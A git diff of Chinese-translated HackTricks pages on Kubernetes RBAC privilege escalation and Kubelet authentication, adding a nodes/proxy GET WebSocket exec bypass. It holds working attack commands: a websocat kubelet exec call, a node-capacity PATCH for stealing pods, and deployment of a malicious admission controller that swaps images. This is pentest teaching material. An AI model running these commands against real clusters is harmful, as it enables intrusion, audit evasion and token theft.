> 如果这些中**任一**为**true**,将会**be responded**。如果都不是,则会返回一个**error**,提示通过 **GCP IAM** 授予权限。
|
||||
|
||||
然后,第一种方法是使用 **GCP IAM**,K8s 权限有其 **等效的 GCP IAM 权限**,如果主体拥有它,就可以使用它。
|
||||
然后,第一种方法是使用 **GCP IAM**,K8s 权限在 GCP IAM 中有对应的权限,如果 principal 拥有这些权限,就可以使用它们。
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
第二种方法是 **在集群内分配 K8s 权限**,通过其 **电子邮件** 识别用户(包括 GCP 服务账户)。
|
||||
第二种方法是在集群内部按 **email**(包括 GCP service accounts)为用户分配 K8s 权限。
|
||||
|
||||
### 创建 serviceaccounts 令牌
|
||||
### Create serviceaccounts token
|
||||
|
||||
可以 **创建 TokenRequests** (`serviceaccounts/token`) 的主体在与 K8s API 端点交谈时 SAs(信息来自 [**这里**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))。
|
||||
能够 **create TokenRequests**(`serviceaccounts/token`)的 principals。在与 K8s api endpoint 通信时可获取 SAs(信息来源 [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))。
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
可以 **`update`** 或 **`patch`** **`pods/ephemeralcontainers`** 的主体可以获得 **其他 pods 的代码执行权限**,并可能通过添加具有特权的安全上下文的临时容器 **突破** 到其节点。
|
||||
能够对 **`pods/ephemeralcontainers`** 执行 **`update`** 或 **`patch`** 的 principals,可能获得对其他 pods 的 **code execution**,并且通过添加具有 privileged securityContext 的 ephemeral container 有可能 **break out** 到其所在的节点。
|
||||
|
||||
### ValidatingWebhookConfigurations 或 MutatingWebhookConfigurations
|
||||
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
|
||||
|
||||
具有 `create`、`update` 或 `patch` 任何动词的主体在 `validatingwebhookconfigurations` 或 `mutatingwebhookconfigurations` 上可能能够 **创建这样的 webhookconfigurations** 以便能够 **提升权限**。
|
||||
对 `validatingwebhookconfigurations` 或 `mutatingwebhookconfigurations` 具有任一动词 `create`、`update` 或 `patch` 的 principals,可能能够创建此类 webhookconfigurations,从而**escalate privileges**。
|
||||
|
||||
有关 [`mutatingwebhookconfigurations` 的示例,请查看此帖的此部分](#malicious-admission-controller)。
|
||||
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
|
||||
|
||||
### 提升
|
||||
### Escalate
|
||||
|
||||
正如您在下一部分中所读到的:[**内置特权提升预防**](#built-in-privileged-escalation-prevention),主体不能更新或创建角色或集群角色,而不拥有这些新权限。除非他在 **`roles`** 或 **`clusterroles`** 上具有 **动词 `escalate` 或 `*`** 及相应的绑定选项。\
|
||||
然后他可以更新/创建具有比他拥有的更好权限的新角色、集群角色。
|
||||
如你可在下一节:[**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention) 中看到,principal 在自身不具备新权限的情况下不能更新或创建 roles 或 clusterroles。除非他对 **`roles`** 或 **`clusterroles`** 具有动词 **`escalate` or `*`** 及相应的绑定选项。\
|
||||
在这种情况下,他可以更新/创建拥有比其当前权限更高的新 roles、clusterroles。
|
||||
|
||||
### 节点代理
|
||||
### Nodes proxy
|
||||
|
||||
具有访问 **`nodes/proxy`** 子资源的主体可以通过 Kubelet API **在 pods 上执行代码**(根据 [**此**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))。有关 Kubelet 身份验证的更多信息,请访问此页面:
|
||||
有权访问 **`nodes/proxy`** 子资源的 principals 可以通过 Kubelet API 在 pods 上执行代码(根据 [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))。有关 Kubelet 认证的更多信息请参见此页:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
您可以在这里查看如何通过 [**与 Kubelet API 进行授权的 RCE**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
|
||||
|
||||
### 删除 pods + 无法调度的节点
|
||||
- Kubelet 在协议升级之前将 HTTP 方法映射到 RBAC 动词。WebSocket 握手必须以 **HTTP GET** (`Connection: Upgrade`) 开始,因此通过 WebSocket 的 `/exec` 会被检查为 **verb `get`** 而不是预期的 `create`。
|
||||
- `/exec`、`/run`、`/attach` 和 `/portforward` 没有被显式映射,归入默认的 **`proxy`** 子资源,因此授权判断变为 **`can <user> get nodes/proxy?`**
|
||||
- 如果一个 token 仅具有 **`nodes/proxy` + `get`**,直接对 `https://<node_ip>:10250` 的 kubelet 发起 WebSocket 访问可以在该节点上的任意 pod 中执行任意命令。通过 API server 代理路径(`/api/v1/nodes/<node>/proxy/exec/...`)发出的相同请求会被拒绝,因为它是普通的 HTTP POST 并映射为 `create`。
|
||||
- kubelet 在 WebSocket 升级后不会再进行第二次授权;仅评估初始的 GET。
|
||||
|
||||
可以 **删除 pods**(在 `pods` 资源上使用 `delete` 动词),或 **驱逐 pods**(在 `pods/eviction` 资源上使用 `create` 动词),或 **更改 pod 状态**(访问 `pods/status`)并可以 **使其他节点无法调度**(访问 `nodes/status`)或 **删除节点**(在 `nodes` 资源上使用 `delete` 动词)并控制一个 pod 的主体,可以 **从其他节点窃取 pods**,使它们在 **被攻陷的** **节点** 上 **执行**,攻击者可以 **窃取这些 pods 的令牌**。
|
||||
**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):**
|
||||
```bash
|
||||
kubectl auth can-i --list | grep "nodes/proxy"
|
||||
websocat --insecure \
|
||||
--header "Authorization: Bearer $TOKEN" \
|
||||
--protocol "v4.channel.k8s.io" \
|
||||
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
|
||||
```
|
||||
- 使用 **Node IP**,而不是节点名。使用 `curl -X POST` 的相同请求将会被 **Forbidden**,因为它映射为 `create`。
|
||||
- 直接访问 kubelet 会绕过 API server,因此 AuditPolicy 只显示来自 kubelet user agent 的 `subjectaccessreviews`,并且 **不记录 `pods/exec`** 命令。
|
||||
- 使用 [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) 枚举受影响的服务账户,以查找仅限于 `nodes/proxy` GET 的令牌。
|
||||
|
||||
### 删除 pods + 使 nodes 不可调度
|
||||
|
||||
具备能够 **删除 pods**(`delete` verb over `pods` resource)、或 **驱逐 pods**(`create` verb over `pods/eviction` resource)、或 **更改 pod 状态**(访问 `pods/status`)并且能够 **使其他 nodes 不可调度**(访问 `nodes/status`)或 **删除 nodes**(`delete` verb over `nodes` resource)且对某个 pod 有控制权的主体,可能会 **从其他 nodes 窃取 pods**,使它们在 **被攻陷的 node** 上 **执行**,攻击者可以从这些 pods 中 **窃取令牌**。
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -643,41 +666,41 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### 服务状态 (CVE-2020-8554)
|
||||
|
||||
可以**修改** **`services/status`** 的主体可能会将 `status.loadBalancer.ingress.ip` 字段设置为利用 **未修复的 CVE-2020-8554** 并发起 **MiTM 攻击**。大多数针对 CVE-2020-8554 的缓解措施仅防止 ExternalIP 服务(根据 [**此处**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))。
|
||||
能够修改 **`services/status`** 的主体可能设置 `status.loadBalancer.ingress.ip` 字段,以利用未修复的 CVE-2020-8554 并发起针对集群的 **MiTM attacks**。大多数针对 CVE-2020-8554 的缓解措施仅阻止 ExternalIP services(根据 [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))。
|
||||
|
||||
### 节点和 Pods 状态
|
||||
|
||||
具有 `update` 或 `patch` 权限的主体可以修改标签,以影响强制执行的调度约束。
|
||||
具有对 `nodes/status` 或 `pods/status` 的 **`update`** 或 **`patch`** 权限的主体,可以修改标签以影响执行的调度约束。
|
||||
|
||||
## 内置特权升级防护
|
||||
## 内置的特权提升防护
|
||||
|
||||
Kubernetes 具有 [内置机制](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权升级。
|
||||
Kubernetes 有一个 [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权提升。
|
||||
|
||||
该系统确保 **用户无法通过修改角色或角色绑定来提升其权限**。此规则的执行发生在 API 级别,即使 RBAC 授权者处于非活动状态,也提供了保护。
|
||||
该系统确保 **用户不能通过修改 roles 或 role bindings 来提升权限**。此规则在 API 级别强制执行,即使 RBAC authorizer 未启用也能提供保护。
|
||||
|
||||
该规则规定 **用户只能在拥有角色所包含的所有权限的情况下创建或更新角色**。此外,用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致:对于 ClusterRoles 是集群范围内的,或者对于 Roles 限于同一命名空间(或集群范围内)。
|
||||
该规则规定,**用户只有在拥有该 role 所包含的所有权限时,才能创建或更新该 role**。此外,用户现有权限的范围必须与其试图创建或修改的 role 的范围一致:对于 ClusterRoles 必须是集群范围,对于 Roles 必须限制在相同的命名空间(或集群范围)。
|
||||
|
||||
> [!WARNING]
|
||||
> 之前规则有一个例外。如果主体对 **`roles`** 或 **`clusterroles`** 拥有 **动词 `escalate`**,他可以在没有自己拥有权限的情况下提升角色和集群角色的权限。
|
||||
> 上述规则有例外。如果一个主体对 **`roles`** 或 **`clusterroles`** 拥有 **动词 `escalate`**,他可以提升 roles 和 clusterroles 的权限,即使他本身并不拥有那些权限。
|
||||
|
||||
### **获取 & 修改 RoleBindings/ClusterRoleBindings**
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **显然这个技术以前有效,但根据我的测试,由于前面部分解释的原因,它现在不再有效。如果你没有权限,你无法创建/修改角色绑定以赋予自己或其他服务账户一些权限。**
|
||||
> 显然该技术以前可行,但根据我的测试,由于前一节解释的相同原因,它现在不再可行。如果你自己或其他 SA 没有相应权限,你无法创建/修改 rolebinding 来赋予其权限。
|
||||
|
||||
创建 Rolebindings 的特权允许用户 **将角色绑定到服务账户**。这个特权可能导致特权升级,因为它 **允许用户将管理员权限绑定到被攻陷的服务账户**。
|
||||
创建 Rolebindings 的权限允许用户 **将 roles 绑定到 service account**。此权限可能导致特权提升,因为它 **允许用户将管理员权限绑定到已被攻陷的 service account。**
|
||||
|
||||
## 其他攻击
|
||||
|
||||
### Sidecar 代理应用
|
||||
### Sidecar proxy app
|
||||
|
||||
默认情况下,Pods 之间的通信没有任何加密。相互认证,双向,Pod 到 Pod。
|
||||
默认情况下,pod 之间的通信没有任何加密,不存在端到端的相互认证(two-way mutual authentication,pod 到 pod)。
|
||||
|
||||
#### 创建一个 sidecar 代理应用
|
||||
#### 创建 sidecar proxy 应用
|
||||
|
||||
Sidecar 容器仅仅是向 Pod 中添加 **第二个(或更多)容器**。
|
||||
sidecar container 就是在 pod 内添加一个 **第二个(或更多)容器**。
|
||||
|
||||
例如,以下是一个包含 2 个容器的 Pod 配置的一部分:
|
||||
例如,下面是具有 2 个容器的 pod 的配置片段:
|
||||
```yaml
|
||||
spec:
|
||||
containers:
|
||||
@@ -687,24 +710,24 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
例如,要通过新容器对现有的 pod 进行后门操作,您只需在规范中添加一个新容器。请注意,您可以**给予第二个容器更多权限**,而第一个容器则没有。
|
||||
For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could **授予第二个 container 更多权限**,第一个不会有这些权限。
|
||||
|
||||
更多信息请访问: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### 恶意 Admission Controller
|
||||
|
||||
Admission controller **在对象持久化之前拦截对 Kubernetes API 服务器的请求**,但**在请求经过身份验证** **和授权之后**。
|
||||
一个 admission controller **拦截对 Kubernetes API server 的请求**,在对象持久化之前,但在请求**经过身份验证** **并获得授权**之后。
|
||||
|
||||
如果攻击者以某种方式成功**注入 Mutation Admission Controller**,他将能够**修改已经通过身份验证的请求**。这可能使他能够进行权限提升,并更常见地在集群中持久化。
|
||||
如果攻击者以某种方式成功**注入 Mutation Admission Controller**,他将能够**修改已通过身份验证的请求**。这可能导致 privesc,并更常见的是在集群中持久化存在。
|
||||
|
||||
**来自** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
检查状态以查看是否准备好:
|
||||
检查状态以查看是否已就绪:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
@@ -716,18 +739,18 @@ kubectl get deploy,svc -n webhook-demo
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
当您看到 `ErrImagePull` 错误时,请使用以下任一查询检查镜像名称:
|
||||
当你看到 `ErrImagePull` 错误时,使用以下任一查询检查镜像名称:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||

|
||||
|
||||
正如您在上面的图像中看到的,我们尝试运行镜像 `nginx`,但最终执行的镜像是 `rewanthtammana/malicious-image`。发生了什么事!!?
|
||||
如上图所示,我们尝试运行镜像 `nginx`,但最终执行的镜像是 `rewanthtammana/malicious-image`。这是怎么回事!?
|
||||
|
||||
#### 技术细节
|
||||
|
||||
`./deploy.sh` 脚本建立了一个变更的 webhook 认证控制器,该控制器根据其配置行修改对 Kubernetes API 的请求,从而影响观察到的结果:
|
||||
`./deploy.sh` 脚本会部署一个 mutating webhook admission controller,它按照配置中的相关行修改发送到 Kubernetes API 的请求,从而影响了观察到的结果:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -735,9 +758,9 @@ Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
上述代码片段将每个 pod 中的第一个容器镜像替换为 `rewanthtammana/malicious-image`。
|
||||
上面的片段将每个 pod 的第一个容器镜像替换为 `rewanthtammana/malicious-image`。
|
||||
|
||||
## OPA Gatekeeper 绕过
|
||||
## OPA Gatekeeper bypass
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
|
||||
@@ -745,18 +768,18 @@ Value: "rewanthtammana/malicious-image",
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### **禁用服务账户令牌的自动挂载**
|
||||
### **禁用 Service Account 令牌的自动挂载**
|
||||
|
||||
- **Pods 和服务账户**:默认情况下,pods 会挂载服务账户令牌。为了增强安全性,Kubernetes 允许禁用此自动挂载功能。
|
||||
- **如何应用**:在服务账户或 pods 的配置中设置 `automountServiceAccountToken: false`,从 Kubernetes 版本 1.6 开始。
|
||||
- **Pods and Service Accounts**:默认情况下,pods 会挂载 service account token。为提高安全性,Kubernetes 允许禁用此自动挂载功能。
|
||||
- **How to Apply**:在 service account 或 pod 的配置中设置 `automountServiceAccountToken: false`(从 Kubernetes 1.6 起支持)。
|
||||
|
||||
### **在 RoleBindings/ClusterRoleBindings 中进行限制性用户分配**
|
||||
### **在 RoleBindings/ClusterRoleBindings 中限制性分配用户**
|
||||
|
||||
- **选择性包含**:确保仅将必要的用户包含在 RoleBindings 或 ClusterRoleBindings 中。定期审计并移除不相关的用户,以保持严格的安全性。
|
||||
- **Selective Inclusion**:确保只有必要的用户被包含在 RoleBindings 或 ClusterRoleBindings 中。定期审计并移除无关用户以保持严格的安全性。
|
||||
|
||||
### **使用特定于命名空间的角色而非集群范围的角色**
|
||||
### **命名空间特定的 Roles 替代集群范围的 ClusterRoles**
|
||||
|
||||
- **角色与 ClusterRoles**:优先使用 Roles 和 RoleBindings 进行特定于命名空间的权限,而不是适用于集群范围的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更细粒度的控制,并限制了权限的范围。
|
||||
- **Roles vs. ClusterRoles**:对于命名空间特定的权限,优先使用 Roles 和 RoleBindings,而不是适用于整个集群的 ClusterRoles 和 ClusterRoleBindings。此方法提供更细粒度的控制并限制权限范围。
|
||||
|
||||
### **使用自动化工具**
|
||||
|
||||
@@ -772,12 +795,15 @@ https://github.com/aquasecurity/kube-hunter
|
||||
https://github.com/aquasecurity/kube-bench
|
||||
{{#endref}}
|
||||
|
||||
## **参考文献**
|
||||
## **References**
|
||||
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
|
||||
- [websocat](https://github.com/vi/websocat)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,24 +1,24 @@
|
||||
# Kubelet 身份验证与授权
|
||||
# Kubelet 认证与授权
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kubelet 身份验证 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
## Kubelet 认证 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
[**来自文档:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
[**来自官方文档:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
默认情况下,未被其他配置的身份验证方法拒绝的对 kubelet HTTPS 端点的请求被视为匿名请求,并被赋予 **用户名 `system:anonymous`** 和 **组 `system:unauthenticated`**。
|
||||
默认情况下,发送到 kubelet 的 HTTPS 端点的请求(若未被其他配置的认证方法拒绝)将被视为匿名请求,并被赋予 **用户名为 `system:anonymous`** 和 **组为 `system:unauthenticated`**。
|
||||
|
||||
**3** 种身份验证 **方法** 是:
|
||||
以下是 **3** 种认证 **方法**:
|
||||
|
||||
- **匿名**(默认):使用设置参数 **`--anonymous-auth=true` 或配置:**
|
||||
- **匿名** (默认): 通过设置参数 **`--anonymous-auth=true` 或在配置中:**
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: 这将 **启用** kubectl **API bearer tokens** 作为授权(任何有效的令牌都将有效)。允许它:
|
||||
- 确保在 API 服务器中启用 `authentication.k8s.io/v1beta1` API 组
|
||||
- **Webhook**:这将**启用** kubectl 的 **API bearer tokens** 作为授权(任何有效的 token 都会被视为有效)。通过以下方式允许:
|
||||
- 确保在 API 服务器中启用了 `authentication.k8s.io/v1beta1` API 组
|
||||
- 使用 **`--authentication-token-webhook`** 和 **`--kubeconfig`** 标志启动 kubelet,或使用以下设置:
|
||||
```json
|
||||
"authentication": {
|
||||
@@ -28,11 +28,11 @@
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> kubelet 在配置的 API 服务器上调用 **`TokenReview` API** 以 **确定用户信息** 从承载令牌
|
||||
|
||||
- **X509 客户端证书:** 允许通过 X509 客户端证书进行身份验证
|
||||
- 有关更多详细信息,请参见 [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs)
|
||||
- 使用 `--client-ca-file` 标志启动 kubelet,提供一个 CA 包以验证客户端证书。或者使用配置:
|
||||
> kubelet 在配置的 API server 上调用 **`TokenReview` API**,从 bearer tokens 确定用户信息
|
||||
>
|
||||
- **X509 client certificates:** 允许通过 X509 客户端证书进行认证
|
||||
- 参见 [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) 获取更多详情
|
||||
- 使用 `--client-ca-file` 参数启动 kubelet,提供一个 CA bundle 用于验证客户端证书。或者使用配置:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
@@ -42,14 +42,14 @@
|
||||
```
|
||||
## Kubelet 授权 <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
任何成功认证的请求(包括匿名请求)**随后会被授权**。**默认**授权模式是**`AlwaysAllow`**,这**允许所有请求**。
|
||||
任何被成功认证的请求(包括匿名请求)**随后会被授权**。**默认**的授权模式是 **`AlwaysAllow`**,它**允许所有请求**。
|
||||
|
||||
然而,另一个可能的值是**`webhook`**(这就是你**大多数情况下会发现的**)。此模式将**检查已认证用户的权限**以允许或拒绝某个操作。
|
||||
然而,另一个可能的值是 **`webhook`**(这也是你在实际环境中**最常看到的**)。该模式会**检查已认证用户的权限**以决定是否允许某个操作。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,即使**启用了匿名认证**,**匿名访问**可能**没有任何权限**来执行任何操作。
|
||||
> 注意,即使**匿名认证已启用**,**匿名访问**也可能**没有任何权限**来执行任何操作。
|
||||
|
||||
通过 webhook 进行授权可以使用**参数 `--authorization-mode=Webhook`**或通过配置文件进行配置:
|
||||
通过 webhook 进行的授权可以通过**参数 `--authorization-mode=Webhook`**或通过配置文件来配置:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,41 +59,45 @@
|
||||
}
|
||||
},
|
||||
```
|
||||
kubelet 在配置的 API 服务器上调用 **`SubjectAccessReview`** API 以 **确定** 每个请求是否 **被授权。**
|
||||
kubelet 在配置的 API server 上调用 **`SubjectAccessReview`** API 以 **确定** 每个请求是否被 **授权**。
|
||||
|
||||
kubelet 使用与 apiserver 相同的 [请求属性](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) 方法来授权 API 请求:
|
||||
kubelet 使用与 apiserver 相同的 [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) 方法来授权 API 请求:
|
||||
|
||||
- **操作**
|
||||
|
||||
| HTTP 动词 | 请求动词 |
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | 创建 |
|
||||
| GET, HEAD | 获取(针对单个资源),列出(针对集合,包括完整对象内容),监视(针对单个资源或资源集合的监视) |
|
||||
| PUT | 更新 |
|
||||
| PATCH | 补丁 |
|
||||
| DELETE | 删除(针对单个资源),删除集合(针对集合) |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- 与 Kubelet API 交互的 **资源** 始终是 **节点**,**子资源** 从传入请求的路径中 **确定**:
|
||||
- 与 Kubelet API 通信的 **resource** 始终是 **nodes**,**subresource** 根据传入请求的路径 **确定**:
|
||||
|
||||
| Kubelet API | 资源 | 子资源 |
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _所有其他_ | nodes | proxy |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
例如,以下请求试图在没有权限的情况下访问 kubelet 的 pods 信息:
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
|
||||
|
||||
例如,下面的请求尝试在没有权限的情况下访问 kubelet 的 pods 信息:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- 我们得到了一个 **Forbidden**,所以请求 **通过了身份验证检查**。如果没有,我们只会收到一个 `Unauthorised` 消息。
|
||||
- 我们可以看到 **用户名**(在这种情况下来自令牌)
|
||||
- 检查 **资源** 是 **nodes**,而 **子资源** 是 **proxy**(这与之前的信息是合理的)
|
||||
- 我们收到了一个 **Forbidden**,所以该请求**通过了认证检查**。如果没有,我们只会收到一个 `Unauthorised` 消息。
|
||||
- 我们可以看到**用户名**(在本例中来自 token)
|
||||
- 注意 **resource** 为 **nodes**,**subresource** 为 **proxy**(这与之前的信息一致)
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user